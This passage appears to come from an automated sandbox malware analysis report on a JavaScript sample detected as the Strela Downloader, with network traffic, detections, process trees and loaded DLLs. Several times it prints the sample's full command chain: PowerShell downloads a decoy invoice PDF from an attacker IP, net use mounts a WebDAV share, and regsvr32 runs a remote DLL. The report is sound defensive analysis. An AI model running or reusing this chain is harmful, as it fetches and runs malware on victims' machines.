4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

TCP traffic: 192.168.2.9:49708 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49707 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1405851664.00000255D7708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1469999561.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469899927.0000025F8FDA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1466673811.0000025F8FDEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1469899927.0000025F8FDA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000003.1467444516.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469999561.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/:
Source: svchost.exe, 00000009.00000002.2691236454.000002277C600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1477028673.000002277C480000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7456, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 733422181158883785.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7580:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nja04lmj.4n1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 733422181158883785.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1592 --field-trial-handle=1528,i,17144818805951839811,10729474608468333498,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1592 --field-trial-handle=1528,i,17144818805951839811,10729474608468333498,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
